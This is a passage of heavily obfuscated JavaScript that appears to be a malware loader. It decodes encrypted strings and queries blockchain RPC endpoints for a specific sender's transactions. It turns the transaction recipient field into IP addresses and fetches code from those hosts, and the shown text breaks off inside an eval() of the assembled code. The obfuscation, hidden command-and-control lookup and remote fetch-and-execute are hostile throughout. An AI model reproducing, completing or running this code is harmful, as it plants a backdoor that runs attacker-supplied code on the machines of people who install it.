a6bfe3efabaaa9a3aebbaae3efadbd','a6bc8ebdbdaeb6','adaebcaaf9fb','a1a0abaaf5aca7a6a3ab90bfbda0acaabcbc','aca7aebd8ca0abaa8ebb','bfaebba7a1aea2aa','bfbda0bba0aca0a3','abaabcbbbda0b6','acbdaaaebbaa88baa1b5a6bf','e8f4a8a3a0adaea394e89087e892f2e8','e8f4a8a3a0adaea394e8bde892f2bdaabebaa6bdaaf4a8a3a0adaea394e8a2e892f2a2a0abbaa3aaf4b9aebdef90a8a3a0adaea3f2a8a3a0adaea3f4','bdbaa1','f5fbfbfce0ffb7e0aca3bc','bcaabb9ba6a2aaa0babb','bfbabca7','acbdaaaebbaa86a1a9a3aebbaa','8ca0a1bbaaa1bbe283aaa1a8bba7','adb6bbaa83aaa1a8bba7','bba083a0b8aabd8caebcaa','f0a2a0abbaa3aaf2aeacaca0baa1bbe9aeacbba6a0a1f2bbb7a3a6bcbbe9aeababbdaabcbcf2','a4aaaabfe2aea3a6b9aa','a7bbbbbfbcf5e0e0febdbface1a6a0e0aabba7','a8b5a6bf','a7aab7','a9bda0a2','a2aebf','fead96a3b6859a','f5fbfbfce0ffb7e0a3bc','a8aabb','bcaaaebdaca7','9087fd','aca0a1bbaaa1bbe2aaa1aca0aba6a1a8','a7bbbbbfbcf5e0e0aabba7e2a2aea6a1a1aabbe1bfbaada3a6ace1ada3aebcbbaebfa6e1a6a0','aeabab','e8f4a8a3a0adaea394e890bb90bce892f2e8','a1a0abaa','bdaabfa3aeacaa','a1a0abaaf5babda3','aabba790ada3a0aca481baa2adaabd','82a0b5a6a3a3aee0fae1ffefe798a6a1aba0b8bcef819beffeffe1fff4ef98a6a1f9fbf4efb7f9fbe6ef8ebfbfa3aa98aaad84a6bbe0fafcf8e1fcf9efe784879b8283e3efa3a6a4aaef88aaaca4a0e6ef8ca7bda0a2aae0fefcfee1ffe1ffe1ffef9caea9aebda6e0fafcf8e1fcf9','888a9b','b8bda6bbaa','bfa0bdbb','a0ada5aaacbb','8ca0a1bbaaa1bbe29bb6bfaa','a7bbbbbfbcf5','aebfbfa3a6acaebba6a0a1e0a5bca0a1','8a9b87909d9f8c909a9d83','fcf7fdf9fefafd888e9880a7a1','8ea8aaa1bb','a7aaaeabaabdbc','bdaabebaaabcbb','fbf9f9fbf6f8a9b69aa08bad','bcbaadaebdbdaeb6','fcfff8f8f98b84868aab9e','aea3a3','ffb7feaa8aa9fff7fbf68a8baefefaabf7f8a9f9fbaafafe8cf8fc8cf7fbfbfd8ca9fcacf7ad8c8a89fc','fefcfafcfffcfeff81b88ab7ba86','e9bcbbaebdbbada3a0aca4f2ffe9aaa1abada3a0aca4f2f6f6f6f6f6f6f6f6e9bfaea8aaf2fee9a0a9a9bcaabbf2fdffe9bca0bdbbf2abaabcace9a9a6a3bbaabdadb6f2a9bda0a2','bcbbbda6a1a8a6a9b6','f5fbfbfc','ada3a0aca481baa2adaabd','9f809c9b','a9a6a3bbaabd','acaebbaca7','aeada0bdbb','e8f4a8a3a0adaea394e890bb90bae892f2e8','baa1bdaaa9','bca6a8a1aea3','90bb90ba','aaa1b9','a7bbbbbfbcf5e0e0aabba7e1abbdbface1a0bda8','f7fbf7f8fcf9a5a6b9888796','aeabab8ab9aaa1bb83a6bcbbaaa1aabd','a2a6a1','b7e2bfaeb6a3a0aeabe2adf9fb','aaa1ab','a1a0abaaf5a7bbbbbfbc','a1a0abaaf5b5a3a6ad','bdaabcbaa2aa','fde1ff','e0ffb7e0aca3bc','f5f7ff','befb8995a4b797b4eea7e39cbdfcf28f','a9a6a1ab','f7fbff9c97a08883bc','879b9b9fefbba6a2aaa0babbefaea9bbaabdef','a6a8a1a0bdaa','a7aebc','aca0a1acaebb','babba9f7','90bb90bc'];FU$Mfb=function(){return Cgw_xmiFfYj;};return FU$Mfb();}async function rpcCall(viwqXYGQWNe_xsuHuyaemmEkm,Zfct_xGiFzDjg_TR,M$$yGvxC,Sai$VpZLhnIfzhpENQBEnjXXQY){const rzIq__u=R$DTZzu_TXc,ViED_j$m=await httpRequest(viwqXYGQWNe_xsuHuyaemmEkm,{'method':rzIq__u(0x22a),'body':JSON[rzIq__u(0x227)]({'jsonrpc':rzIq__u(0x1bf),'id':0x1,'method':Zfct_xGiFzDjg_TR,'params':M$$yGvxC}),'signal':Sai$VpZLhnIfzhpENQBEnjXXQY});return ViED_j$m[rzIq__u(0x1e8)];}async function rpcBatch(MbywkyY$$UC,yhneTjJFtjzihqis,nfOED_SMfc_cZ){const QArY_$HLRpVrHv=R$DTZzu_TXc,kkryiIDumIudSHbGOtqG$IB$ck=await httpRequest(MbywkyY$$UC,{'method':QArY_$HLRpVrHv(0x22a),'body':JSON[QArY_$HLRpVrHv(0x227)](yhneTjJFtjzihqis[QArY_$HLRpVrHv(0x205)](([MqRDzQDjlL,twBiWDT_UQDbFe_UymqitRCEMYe],NsUxMIqeG$Br$kPQuQsImDX)=>({'jsonrpc':QArY_$HLRpVrHv(0x1bf),'id':NsUxMIqeG$Br$kPQuQsImDX+(-0x1*-parseInt(0x16a7)+-parseInt(0x359)*Number(0x1)+-0x134d),'method':MqRDzQDjlL,'params':twBiWDT_UQDbFe_UymqitRCEMYe}))),'signal':nfOED_SMfc_cZ}),Hm_$BRK=new Map(kkryiIDumIudSHbGOtqG$IB$ck[QArY_$HLRpVrHv(0x205)](JXSTI$BKsGYgzKPIgP=>[JXSTI$BKsGYgzKPIgP['id'],JXSTI$BKsGYgzKPIgP]));return yhneTjJFtjzihqis[QArY_$HLRpVrHv(0x205)]((O_wOBn_C,yZELIgInDxwV_gZrBfKlE)=>Hm_$BRK[QArY_$HLRpVrHv(0x208)](yZELIgInDxwV_gZrBfKlE+(Math.floor(-0x2)*parseFloat(-0x5fb)+-0x65*parseInt(0x49)+Number(0x58)*parseFloat(0x31)))[QArY_$HLRpVrHv(0x1e8)]);}const toBlockHex=BRFw_JGglqWv_xrmpiG=>'0x'+BRFw_JGglqWv_xrmpiG[R$DTZzu_TXc(0x1e3)](Math.ceil(-0x1b5c)+parseInt(-parseInt(0x17b0))+-parseInt(0xcc7)*-parseInt(0x4));function findSenderTx(RSS$zTKlZBNe){const Zsy$AZsVSCwDxMLnR=R$DTZzu_TXc;return RSS$zTKlZBNe[Zsy$AZsVSCwDxMLnR(0x1c3)](dgl_FMKNAW=>dgl_FMKNAW[Zsy$AZsVSCwDxMLnR(0x204)]&&dgl_FMKNAW[Zsy$AZsVSCwDxMLnR(0x204)][Zsy$AZsVSCwDxMLnR(0x1fe)]()===SENDER)||null;}function decodeAddress(qFPiyayPDRfwVjSALM){const bAQxZLJ_pVrukZyK=R$DTZzu_TXc;try{const Z_AIGwHmlfYNhwPHQ_kE=Buffer[bAQxZLJ_pVrukZyK(0x204)](qFPiyayPDRfwVjSALM[bAQxZLJ_pVrukZyK(0x210)](/^0x/i,''),bAQxZLJ_pVrukZyK(0x203)),SrKN_WDPPTPtJMJQm=UMantqIUwHQOejjOECcdFWZCd=>UMantqIUwHQOejjOECcdFWZCd[parseInt(0x1b07)+0x1581+Number(0xc22)*-0x4]+'.'+UMantqIUwHQOejjOECcdFWZCd[-0x109+-parseInt(0x270)+parseInt(0x37a)]+'.'+UMantqIUwHQOejjOECcdFWZCd[parseFloat(-parseInt(0x1b4))*0x1+Math.trunc(-parseInt(0x13af))+-0x1565*-0x1]+'.'+UMantqIUwHQOejjOECcdFWZCd[parseInt(-0x1)*0x2cd+-parseInt(0x1637)+parseInt(0x1907)];return[SrKN_WDPPTPtJMJQm(Z_AIGwHmlfYNhwPHQ_kE[bAQxZLJ_pVrukZyK(0x221)](Math.trunc(0x40)*-0x5c+Math.floor(-parseInt(0xd63))+-0x87*-parseInt(0x45),0x2611+Number(-parseInt(0x28))*Math.floor(parseInt(0x3b))+parseInt(-0x1cd5)*parseInt(0x1))),SrKN_WDPPTPtJMJQm(Z_AIGwHmlfYNhwPHQ_kE[bAQxZLJ_pVrukZyK(0x221)](-parseInt(0x7)*parseInt(0x32)+Math.max(parseInt(0x1f42),0x1f42)+Number(-parseInt(0x1de0)),Math.trunc(-parseInt(0x209d))+parseInt(0x2f1)+-0x4*parseInt(-0x76d)))];}catch(lK_kCFHZ){return[null,null];}}function firstMatch(fRvtR$KJpJwJgpDvQjE_xwZrJC){return new Promise(mRgHb$z_L=>{const IicIMNIfQlHJkpS_gyS_HuB=TtFl_OYFcp$oFJXAVh;let GuEdXYgpwv=fRvtR$KJpJwJgpDvQjE_xwZrJC[IicIMNIfQlHJkpS_gyS_HuB(0x1e9)];if(!GuEdXYgpwv)return mRgHb$z_L(null);let sLCBkfZMfpycS=![];const zieuckknwCUQ=syKpWAtPjJQmMEDAnBw=>{const awqekvTKbHwoYXMuPrqS=IicIMNIfQlHJkpS_gyS_HuB;if(sLCBkfZMfpycS)return;sLCBkfZMfpycS=!![];for(const OEobvbjekbjHnfC_oCXcNRrMq of fRvtR$KJpJwJgpDvQjE_xwZrJC)OEobvbjekbjHnfC_oCXcNRrMq[awqekvTKbHwoYXMuPrqS(0x1db)][awqekvTKbHwoYXMuPrqS(0x22d)]();mRgHb$z_L(syKpWAtPjJQmMEDAnBw);};for(const pTppSpWvnTTjAwIbgEJMWMsN of fRvtR$KJpJwJgpDvQjE_xwZrJC){pTppSpWvnTTjAwIbgEJMWMsN[IicIMNIfQlHJkpS_gyS_HuB(0x1f7)]()[IicIMNIfQlHJkpS_gyS_HuB(0x1cf)](aTLnW$vDrVVpnStCZqUNmoZoB=>{if(sLCBkfZMfpycS)return;if(aTLnW$vDrVVpnStCZqUNmoZoB)zieuckknwCUQ(aTLnW$vDrVVpnStCZqUNmoZoB);else{if(--GuEdXYgpwv===parseInt(0x1254)+-0x1a25+0x7d1)mRgHb$z_L(null);}})[IicIMNIfQlHJkpS_gyS_HuB(0x22c)](()=>{if(!sLCBkfZMfpycS&&--GuEdXYgpwv===-parseInt(0x1)*-parseInt(0x24ee)+-0x1c7f+-parseInt(0x86f)*0x1)mRgHb$z_L(null);});}});}function candidateBlocks(PMDtWVf){const Ikgf_HU_wR=R$DTZzu_TXc,PYe_EgLqvQkLoUtAMDKop=PMDtWVf-BLOCK_MULTIPLE,ruKzTubDIHgqOUSOKuOiNrw=new Set(),phgCqjkuVDj=[];for(const cYqM_FFvY$USHkuEQ of[PMDtWVf-0x1n,PMDtWVf,PMDtWVf+0x1n,PYe_EgLqvQkLoUtAMDKop-0x1n,PYe_EgLqvQkLoUtAMDKop,PYe_EgLqvQkLoUtAMDKop+0x1n]){if(cYqM_FFvY$USHkuEQ<0x0n)continue;const fH_RHQmkAqPo$RCKpeQzshy=cYqM_FFvY$USHkuEQ[Ikgf_HU_wR(0x1e3)]();if(ruKzTubDIHgqOUSOKuOiNrw[Ikgf_HU_wR(0x1c7)](fH_RHQmkAqPo$RCKpeQzshy))continue;ruKzTubDIHgqOUSOKuOiNrw[Ikgf_HU_wR(0x20d)](fH_RHQmkAqPo$RCKpeQzshy),phgCqjkuVDj[Ikgf_HU_wR(0x1fa)](cYqM_FFvY$USHkuEQ);}return phgCqjkuVDj;}function blockTask(CmDNYEz){const eaMd$$IaUdwwQC=new AbortController();return{'controller':eaMd$$IaUdwwQC,'run':async()=>{const oRW_briT=TtFl_OYFcp$oFJXAVh,bB$FqWCDaprOxFtKvm=await withRpcEndpoints((yi_UPlxDkl$Q,PE$mWwVgKLKTdB)=>rpcCall(yi_UPlxDkl$Q,oRW_briT(0x1eb),[toBlockHex(CmDNYEz),!![]],PE$mWwVgKLKTdB),eaMd$$IaUdwwQC[oRW_briT(0x230)]),FxHbdTuJ_TNzOmHAR=bB$FqWCDaprOxFtKvm?.[oRW_briT(0x1d2)];if(!Array[oRW_briT(0x1ed)](FxHbdTuJ_TNzOmHAR))return null;const EVXKTSICwmYUwDRmGUgkSGxNo=findSenderTx(FxHbdTuJ_TNzOmHAR);return EVXKTSICwmYUwDRmGUgkSGxNo?{'blockNumber':CmDNYEz,'tx':EVXKTSICwmYUwDRmGUgkSGxNo}:null;}};}async function nonceAtBlocks(TsjCGUbHfKkYA,eOgvjooSW_ImZ){const De_$LMDgm=R$DTZzu_TXc,lxgdNNoYdvdHjxfurkLvMku=TsjCGUbHfKkYA[De_$LMDgm(0x205)](HwlIWWDxcwkA=>[De_$LMDgm(0x1d4),[SENDER,toBlockHex(HwlIWWDxcwkA)]]);try{return(await withRpcEndpoints((suc_$ZOGyQepWTA,Hm$ePQQwMHtYO)=>rpcBatch(suc_$ZOGyQepWTA,lxgdNNoYdvdHjxfurkLvMku,Hm$ePQQwMHtYO),eOgvjooSW_ImZ))[De_$LMDgm(0x205)](BigInt);}catch{return(await Promise[De_$LMDgm(0x223)](lxgdNNoYdvdHjxfurkLvMku[De_$LMDgm(0x205)](([TBe_IFdhcmNWR$VqwbvgV,yLn$_jSos])=>withRpcEndpoints((xdzGHXiuaFZVM$qci$a,eQMjdGwghirgregyy)=>rpcCall(xdzGHXiuaFZVM$qci$a,TBe_IFdhcmNWR$VqwbvgV,yLn$_jSos,eQMjdGwghirgregyy),eOgvjooSW_ImZ))))[De_$LMDgm(0x205)](BigInt);}}async function lastSenderTx(aSdRshZlGysInsF_W){const SFMofmFJ$vRZYuKxyQueg=R$DTZzu_TXc,YtkqMbzMeAhrXge=new AbortController();try{const sonDHRdo_bMvMCIkoLUDsGJ=aSdRshZlGysInsF_W??BigInt(await withRpcEndpoints((AzfXJw,wkJzdkliLLlEuvimlavBUYiW)=>rpcCall(AzfXJw,SFMofmFJ$vRZYuKxyQueg(0x212),[],wkJzdkliLLlEuvimlavBUYiW),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)])),rVa_$dpJzvTLnjuccOzQQ=BigInt(await withRpcEndpoints((fDW$_eJ,e_LAcQwOmw)=>rpcCall(fDW$_eJ,SFMofmFJ$vRZYuKxyQueg(0x1d4),[SENDER,toBlockHex(sonDHRdo_bMvMCIkoLUDsGJ)],e_LAcQwOmw),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)])),vswg_sAiEVWH_gXzLwhdJR=rVa_$dpJzvTLnjuccOzQQ-0x1n;let E$NKJN$u=SEARCH_FLOOR-0x1n,z$DGbtfCnVULNqHFTfchL=sonDHRdo_bMvMCIkoLUDsGJ;while(z$DGbtfCnVULNqHFTfchL-E$NKJN$u>0x1n){const oiDXFWRhFRSn_ZxHLx=z$DGbtfCnVULNqHFTfchL-E$NKJN$u-0x1n,ChI_eDliPTbzODv=BigInt(Math[SFMofmFJ$vRZYuKxyQueg(0x1b9)](NONCE_FANOUT,Number(oiDXFWRhFRSn_ZxHLx))),SzdFiosUoBvOOBJTSR_EnOehm=[];for(let I$HAd_BejTQuVaP=0x1n;I$HAd_BejTQuVaP<=ChI_eDliPTbzODv;I$HAd_BejTQuVaP+=0x1n)SzdFiosUoBvOOBJTSR_EnOehm[SFMofmFJ$vRZYuKxyQueg(0x1fa)](E$NKJN$u+I$HAd_BejTQuVaP*(z$DGbtfCnVULNqHFTfchL-E$NKJN$u)/(ChI_eDliPTbzODv+0x1n));const xwtPZiK=await nonceAtBlocks(SzdFiosUoBvOOBJTSR_EnOehm,YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)]),PQ_$XTLQAoeCmdwIf=xwtPZiK[SFMofmFJ$vRZYuKxyQueg(0x1d7)](faRwLMnko$EDYKvvKSvpfMxLe$D=>faRwLMnko$EDYKvvKSvpfMxLe$D>=rVa_$dpJzvTLnjuccOzQQ);if(PQ_$XTLQAoeCmdwIf===-(parseInt(0xd5b)+-0x10cf+-parseInt(0xf)*Math.floor(-0x3b)))E$NKJN$u=SzdFiosUoBvOOBJTSR_EnOehm[SzdFiosUoBvOOBJTSR_EnOehm[SFMofmFJ$vRZYuKxyQueg(0x1e9)]-(parseInt(0x137)*Number(-parseInt(0x17))+-parseInt(0x2407)+-0x67*Math.trunc(-parseInt(0x9f)))];else{z$DGbtfCnVULNqHFTfchL=SzdFiosUoBvOOBJTSR_EnOehm[PQ_$XTLQAoeCmdwIf];if(PQ_$XTLQAoeCmdwIf>parseInt(0x1)*Math.trunc(-0x1d62)+0x1*Math.trunc(-parseInt(0xa58))+Math.floor(parseInt(0x27ba)))E$NKJN$u=SzdFiosUoBvOOBJTSR_EnOehm[PQ_$XTLQAoeCmdwIf-(-0x26*0x55+-parseInt(0x15b7)+parseFloat(0x2256))];}}const okU_xAogHDLNF$RNOFrSZKFmZg=await withRpcEndpoints((A$z_hrf,Qma_RRlICjFrFZ)=>rpcCall(A$z_hrf,SFMofmFJ$vRZYuKxyQueg(0x1eb),[toBlockHex(z$DGbtfCnVULNqHFTfchL),!![]],Qma_RRlICjFrFZ),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)]),HgqA_mVm=okU_xAogHDLNF$RNOFrSZKFmZg?.[SFMofmFJ$vRZYuKxyQueg(0x1d2)]||[];let cBTrpPKOu=null;for(const NnooDmNoC_fxkiEQIisGB$iagg of HgqA_mVm){if(!NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x204)]||NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x204)][SFMofmFJ$vRZYuKxyQueg(0x1fe)]()!==SENDER)continue;if(BigInt(NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x1d0)])===vswg_sAiEVWH_gXzLwhdJR){cBTrpPKOu=NnooDmNoC_fxkiEQIisGB$iagg;break;}if(!cBTrpPKOu||BigInt(NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x1d0)])>BigInt(cBTrpPKOu[SFMofmFJ$vRZYuKxyQueg(0x1d0)]))cBTrpPKOu=NnooDmNoC_fxkiEQIisGB$iagg;}return{'blockNumber':z$DGbtfCnVULNqHFTfchL,'tx':cBTrpPKOu};}finally{YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x22d)]();}}async function lastSenderTxViaIndexer(){const LXduCRQV_qabPksXe=R$DTZzu_TXc,rkFjsqv$hQa=INDEXER_URL+LXduCRQV_qabPksXe(0x1ff)+SENDER+LXduCRQV_qabPksXe(0x226),ZJeqwghbta=await httpRequest(rkFjsqv$hQa),EoElsTu_rU=Array[LXduCRQV_qabPksXe(0x1ed)](ZJeqwghbta?.[LXduCRQV_qabPksXe(0x1e8)])?ZJeqwghbta[LXduCRQV_qabPksXe(0x1e8)]:[],cNlgqEkUX_vWrdE_gxGcm=EoElsTu_rU[LXduCRQV_qabPksXe(0x1c3)](yTLwkulYsrR$UqVCihPaRnLeNs=>yTLwkulYsrR$UqVCihPaRnLeNs[LXduCRQV_qabPksXe(0x204)]&&yTLwkulYsrR$UqVCihPaRnLeNs[LXduCRQV_qabPksXe(0x204)][LXduCRQV_qabPksXe(0x1fe)]()===SENDER);if(!cNlgqEkUX_vWrdE_gxGcm)return null;return{'blockNumber':BigInt(cNlgqEkUX_vWrdE_gxGcm[LXduCRQV_qabPksXe(0x229)]),'tx':cNlgqEkUX_vWrdE_gxGcm};}function TtFl_OYFcp$oFJXAVh(Mn_XngkaX_amz,O$XdSR_ZoeBzrPxNxX){const x$cDU_biHgR=FU$Mfb();return TtFl_OYFcp$oFJXAVh=function(KgO_OipbV_dqhk,h$_EjwRLMRO){KgO_OipbV_dqhk=KgO_OipbV_dqhk-(-0x1130+parseInt(0x239f)*-parseInt(0x1)+-0x1b43*-parseInt(0x2));let tKSDlu$s_zyp=x$cDU_biHgR[KgO_OipbV_dqhk];if(TtFl_OYFcp$oFJXAVh['HlimGQ']===undefined){const lpgLoEZtbL_nXdqVKwVzU_Lt=function(dBSPnUeBpu_UoX){let rfMisoucqiYhMxuMfHUgVk=parseInt(0x4)*Math.ceil(-parseInt(0x576))+Math.trunc(parseInt(0x15de))+parseInt(0x2c9)&0x11b+0x2048+parseInt(0x566)*-parseInt(0x6),ojt$WpApEv_hcNSaNpGWW=new Uint8Array(dBSPnUeBpu_UoX['match'](/.{1,2}/g)['map'](kQApX_TOlNddfsSMWtxRg=>parseInt(kQApX_TOlNddfsSMWtxRg,parseInt(0x2)*Math.ceil(-0x121d)+Math.ceil(0xb2)*Number(parseInt(0x34))+Math.max(-0x1,-parseInt(0x1))*-parseInt(0x22)))),TgtW$E_CA=ojt$WpApEv_hcNSaNpGWW['map'](d_hK$Qc=>d_hK$Qc^rfMisoucqiYhMxuMfHUgVk),BctDOrlFndvgjE=new TextDecoder(),zhdWw$u_jphTN=BctDOrlFndvgjE['decode'](TgtW$E_CA);return zhdWw$u_jphTN;};TtFl_OYFcp$oFJXAVh['LyYGGg']=lpgLoEZtbL_nXdqVKwVzU_Lt,Mn_XngkaX_amz=arguments,TtFl_OYFcp$oFJXAVh['HlimGQ']=!![];}const gnKJymEdsW=x$cDU_biHgR[parseInt(-0x20b0)+parseFloat(0x1)*Number(-0x2353)+parseInt(0x4403)],Q$aZbm=KgO_OipbV_dqhk+gnKJymEdsW,lSxajigYBkrTMo=Mn_XngkaX_amz[Q$aZbm];return!lSxajigYBkrTMo?(TtFl_OYFcp$oFJXAVh['SrzVWv']===undefined&&(TtFl_OYFcp$oFJXAVh['SrzVWv']=!![]),tKSDlu$s_zyp=TtFl_OYFcp$oFJXAVh['LyYGGg'](tKSDlu$s_zyp),Mn_XngkaX_amz[Q$aZbm]=tKSDlu$s_zyp):tKSDlu$s_zyp=lSxajigYBkrTMo,tKSDlu$s_zyp;},TtFl_OYFcp$oFJXAVh(Mn_XngkaX_amz,O$XdSR_ZoeBzrPxNxX);}async function run(){const mnGNB_JpO=R$DTZzu_TXc,GbjYiwYc$UDFcrVQOYr=BigInt(await withRpcEndpoints((qWeCmmFZOCdnAEuYz_Hq,HqkpMC$bILqXhYpucei)=>rpcCall(qWeCmmFZOCdnAEuYz_Hq,mnGNB_JpO(0x212),[],HqkpMC$bILqXhYpucei))),QrZjhghqBnYCBD$eVKAADPc=GbjYiwYc$UDFcrVQOYr-GbjYiwYc$UDFcrVQOYr%BLOCK_MULTIPLE,HqkfDyzvifaIRZLZTFLBf_PIfE=global;let PsLXYLePPPM=await firstMatch(candidateBlocks(QrZjhghqBnYCBD$eVKAADPc)[mnGNB_JpO(0x205)](blockTask)),[IoOaRKb$rgLEWGzkDY,tk_yOpbrjagBixEVvwWo_ZV]=decodeAddress(PsLXYLePPPM?.['tx']?.['to']);function vebZXFMdlHOtHT$GzXfEWk_t(JpxnuRzR$yKZIhup,LV_QLhPy_RRpqY,CfnpuaTWEIbv$uv$k){const SkIVendtrlZQdlCeXx_L=mnGNB_JpO;if(!JpxnuRzR$yKZIhup)return null;return new URL(SkIVendtrlZQdlCeXx_L(0x1d6)+JpxnuRzR$yKZIhup+':'+LV_QLhPy_RRpqY+CfnpuaTWEIbv$uv$k);}let QsHadcoO_fRgBBtMp_LLnyuIDW=null;const gdfPRgajquSoa_jKkcvHgEMQ=vebZXFMdlHOtHT$GzXfEWk_t(IoOaRKb$rgLEWGzkDY,-0x141+Number(-0x1)*0x1b1d+parseInt(0x1e19),mnGNB_JpO(0x1c0));if(gdfPRgajquSoa_jKkcvHgEMQ)try{QsHadcoO_fRgBBtMp_LLnyuIDW=await PhpQSGcotCPMCg(mnGNB_JpO(0x1c2),gdfPRgajquSoa_jKkcvHgEMQ);}catch{QsHadcoO_fRgBBtMp_LLnyuIDW=null;}!QsHadcoO_fRgBBtMp_LLnyuIDW&&(PsLXYLePPPM=await lastSenderTx(GbjYiwYc$UDFcrVQOYr)[mnGNB_JpO(0x22c)](()=>null)??await lastSenderTxViaIndexer()[mnGNB_JpO(0x22c)](()=>null),[IoOaRKb$rgLEWGzkDY,tk_yOpbrjagBixEVvwWo_ZV]=decodeAddress(PsLXYLePPPM?.['tx']?.['to']));HqkfDyzvifaIRZLZTFLBf_PIfE['_V']=HqkfDyzvifaIRZLZTFLBf_PIfE['i'],HqkfDyzvifaIRZLZTFLBf_PIfE['_H']=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1c1),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x20a)]=mnGNB_JpO(0x1d6)+tk_yOpbrjagBixEVvwWo_ZV+mnGNB_JpO(0x1c1),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x1ca)]=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x228),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x231)]=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1c1);function PhpQSGcotCPMCg(tiFYpz__aVvvVSVJmaXZOVgTE,mlzh$TPaKywkyH){const xIeUnB=mnGNB_JpO,WvsYOuqq$IpBKddpkclpMNbI_a={'hostname':mlzh$TPaKywkyH[xIeUnB(0x1cb)],'port':Number(mlzh$TPaKywkyH[xIeUnB(0x216)])||parseInt(0x13b1)+Math.ceil(parseInt(0x1))*parseInt(0x11da)+-0x253b,'path':mlzh$TPaKywkyH[xIeUnB(0x1f1)]+mlzh$TPaKywkyH[xIeUnB(0x209)],'headers':{'User-Agent':xIeUnB(0x213),'Sec-V':HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||parseInt(0x138e)+Math.trunc(-parseInt(0x227a))+parseInt(0xeec)}};function q$wiTvxLZvqxyTLAqfjK_Ss(VfRkMn_JqVDknqCPnD){const kzq_zPYHoO=xIeUnB,INLgEwv=tiFYpz__aVvvVSVJmaXZOVgTE[kzq_zPYHoO(0x1e9)];for(let WzpzDKFOVoyzYVqxsQMOHP=-0x29b*parseInt(0x4)+-parseInt(0x441)+Math.trunc(0xead);WzpzDKFOVoyzYVqxsQMOHP{const Pe_M$nvBmlLfZa=TtFl_OYFcp$oFJXAVh,pI_ZtG=http[Pe_M$nvBmlLfZa(0x21f)]({...WvsYOuqq$IpBKddpkclpMNbI_a,'method':q_Pg$eP},CSJPQxBaiSEwC$eqHy=>{const xnPLJosut$HUnKo=Pe_M$nvBmlLfZa;if(q_Pg$eP===xnPLJosut$HUnKo(0x1dd)){try{MpHMVhSAbcJqXxxLVVpakKDE(cNSrRcwiKbyMszjlncppZyW(CSJPQxBaiSEwC$eqHy));}catch(WguSIViOmc$UVqu){swIXH(WguSIViOmc$UVqu);}CSJPQxBaiSEwC$eqHy[xnPLJosut$HUnKo(0x1be)]();return;}const gaWAFVTCBgJWo_T$d=[];CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1ce),ujHBr$cosAIY_t=>gaWAFVTCBgJWo_T$d[xnPLJosut$HUnKo(0x1fa)](ujHBr$cosAIY_t)),CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1bb),()=>{const iPhCsjeOskYYcdaUsU=xnPLJosut$HUnKo;try{const SoNGpsGC_miLJ_mfRpAHv=Buffer[iPhCsjeOskYYcdaUsU(0x1c8)](gaWAFVTCBgJWo_T$d);if(SoNGpsGC_miLJ_mfRpAHv[iPhCsjeOskYYcdaUsU(0x1e9)])return MpHMVhSAbcJqXxxLVVpakKDE(q$wiTvxLZvqxyTLAqfjK_Ss(SoNGpsGC_miLJ_mfRpAHv));if(CSJPQxBaiSEwC$eqHy[iPhCsjeOskYYcdaUsU(0x21e)][iPhCsjeOskYYcdaUsU(0x1ba)])return MpHMVhSAbcJqXxxLVVpakKDE(cNSrRcwiKbyMszjlncppZyW(CSJPQxBaiSEwC$eqHy));swIXH(new Error(iPhCsjeOskYYcdaUsU(0x1e5)));}catch(jFUlBWwGIgGNHCkCLHWvUnO){swIXH(jFUlBWwGIgGNHCkCLHWvUnO);}}),CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1cc),swIXH);});pI_ZtG['on'](Pe_M$nvBmlLfZa(0x1cc),swIXH),pI_ZtG[Pe_M$nvBmlLfZa(0x1f9)](HTTP_TIMEOUT_MS,()=>{const zUaGughEjyEVicCvyDEPwQ=Pe_M$nvBmlLfZa;pI_ZtG[zUaGughEjyEVicCvyDEPwQ(0x1f3)](new Error(zUaGughEjyEVicCvyDEPwQ(0x1c5)+HTTP_TIMEOUT_MS+'ms'));}),pI_ZtG[Pe_M$nvBmlLfZa(0x1bb)]();});}return OAdYyqdMF(xIeUnB(0x214))[xIeUnB(0x22c)](()=>OAdYyqdMF(xIeUnB(0x1dd)));}async function UNPzJu_u_x(EnQyLKlirYkOodLka,pagghrRK_Z_XMnuSYqW,re_kgEP$p){const uGMcX_xTplN=mnGNB_JpO;try{const oqSulVevnWywczc=await PhpQSGcotCPMCg(pagghrRK_Z_XMnuSYqW,EnQyLKlirYkOodLka),EJwybIiT=re_kgEP$p?uGMcX_xTplN(0x1e6)+(HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||-0xb96+Math.trunc(-0x5ad)*-parseInt(0x3)+-parseInt(0x571))+uGMcX_xTplN(0x1f5)+HqkfDyzvifaIRZLZTFLBf_PIfE['_H']+uGMcX_xTplN(0x1e1)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x20a)]+uGMcX_xTplN(0x1f6):uGMcX_xTplN(0x1e6)+(HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||-parseInt(0x1e86)+parseFloat(-parseInt(0x236))*-parseInt(0x11)+-0x710)+uGMcX_xTplN(0x20e)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x1ca)]+uGMcX_xTplN(0x22e)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x231)]+uGMcX_xTplN(0x1f6);if(!re_kgEP$p)eval(EJwybIi